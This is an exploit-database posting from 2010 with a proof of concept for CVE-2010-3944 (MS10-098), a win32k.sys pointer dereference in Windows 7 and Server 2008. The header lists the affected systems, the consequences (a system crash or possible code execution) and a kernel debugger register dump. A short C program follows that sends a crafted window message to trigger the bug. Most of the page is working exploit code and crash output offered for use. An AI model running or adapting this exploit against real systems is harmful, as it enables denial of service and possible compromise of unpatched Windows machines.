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[win32] - Windows 7 win32k.sys pointer dereferencement

Posted on 17 December 2010

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Windows 7 win32k.sys pointer dereferencement
============================================

/*************************************************************************************
* MS10-098
* CVE-2010-3944
*
* Microsoft Windows Win32k pointer dereferencement
*
* --------------------
* Affected Software
* ------------------------
* Microsoft Windows 7 / 2008
*
*
* --------------------
* Consequences
* -----------------------
* An unprivileged user may be able to cause a bugcheck, or possibly execute
* arbitrary code by CSRSS.EXE.
*
*
*
* Credits : Stefan LE BERRE (s.leberre@sysdream.com)
*           Ludo t0ka7a
*
* WebSites : http://www.sysdream.com/
*            http://ghostsinthestack.org/
*            http://infond.blogspot.com/
*            http://twitter.com/hackinparis
*
* kd&gt; r
* eax=00013370 ebx=0000000d ecx=00000000 edx=fea0069c esi=fea00618 edi=fea00618
* eip=8d72af90 esp=95b54a98 ebp=95b54b00 iopl=0         nv up ei ng nz na pe nc
* cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010286
* win32k!xxxRealDefWindowProc+0xf6:
* 8d72af90 c60000          mov     byte ptr [eax],0           ds:0023:00013370=??
*
*************************************************************************************/
 
#include &lt;stdio.h&gt;
#include &lt;windows.h&gt;
#include &lt;Winuser.h&gt;
 
 
int main(int argc, char *argv[])
{
    SendMessage((HWND) 16,(UINT) 13,0x80000000,0x00013370); // 0x13370 is the deref and 16 is the window handle of #32769
    return 0;
}


# <a href='http://1337db.com/'>1337db.com</a> [2010-12-17]</pre></body></html>

 

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